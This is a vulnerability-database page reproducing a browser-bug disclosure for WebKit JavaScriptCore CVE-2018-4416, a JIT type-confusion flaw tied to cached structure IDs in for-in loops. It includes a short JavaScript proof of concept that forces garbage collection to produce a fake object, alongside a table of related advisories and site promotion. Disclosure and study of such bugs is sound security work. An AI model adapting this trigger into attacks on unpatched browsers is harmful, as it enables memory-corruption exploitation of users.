| Reporter | Title | Published | Views | Family All 50 |
|---|---|---|---|---|
| WebKit JSC JIT - JSPropertyNameEnumerator Type Confusion Exploit | 29 Nov 201800:00 | – | zdt | |
| Apple Safari < 12.0.1 Multiple Vulnerabilities | 8 Apr 201900:00 | – | nessus | |
| Apple iOS < 12.1 Multiple Vulnerabilities | 17 Apr 201900:00 | – | nessus | |
| Apple TV < 12.1 Multiple Vulnerabilities | 2 Nov 201800:00 | – | nessus | |
| Apple iOS < 12.1 Multiple Vulnerabilities | 31 Oct 201800:00 | – | nessus | |
| Apple iTunes < 12.9.1 Multiple Vulnerabilities (credentialed check) | 2 Nov 201800:00 | – | nessus | |
| Apple iTunes < 12.9.1 Multiple Vulnerabilities (uncredentialed check) | 2 Nov 201800:00 | – | nessus | |
| macOS : Apple Safari < 12.0.1 Multiple Vulnerabilities | 31 Oct 201800:00 | – | nessus | |
| openSUSE Security Update : webkit2gtk3 (openSUSE-2019-68) | 22 Jan 201900:00 | – | nessus | |
| openSUSE Security Update : webkit2gtk3 (openSUSE-2019-81) | 24 Jan 201900:00 | – | nessus |
`WebKit: JSC: JIT: A bug with JSPropertyNameEnumerator
CVE-2018-4416
When a for-in loop is executed, a JSPropertyNameEnumerator object is created at the beginning and used to store the information of the input object to the for-in loop. Inside the loop, the structure ID of the "this" object of every get_by_id expression taking the loop variable as the index is compared to the cached structure ID from the JSPropertyNameEnumerator object. If it's the same, the "this" object of the get_by_id expression will be considered having the same structure as the input object to the for-in loop has.
The problem is, it doesn't have anything to prevent the structure from which the cached structure ID from being freed. As structure IDs can be reused after their owners get freed, this can lead to type confusion.
PoC:
function gc() {
for (let i = 0; i < 10; i++) {
let ab = new ArrayBuffer(1024 * 1024 * 10);
}
}
function opt(obj) {
// Starting the optimization.
for (let i = 0; i < 500; i++) {
}
let tmp = {a: 1};
gc();
tmp.__proto__ = {};
for (let k in tmp) { // The structure ID of "tmp" is stored in a JSPropertyNameEnumerator.
tmp.__proto__ = {};
gc();
obj.__proto__ = {}; // The structure ID of "obj" equals to tmp's.
return obj[k]; // Type confusion.
}
}
opt({});
let fake_object_memory = new Uint32Array(100);
fake_object_memory[0] = 0x1234;
let fake_object = opt(fake_object_memory);
print(fake_object);
This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available (whichever is earlier), the bug
report will become visible to the public.
Found by: lokihardt
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation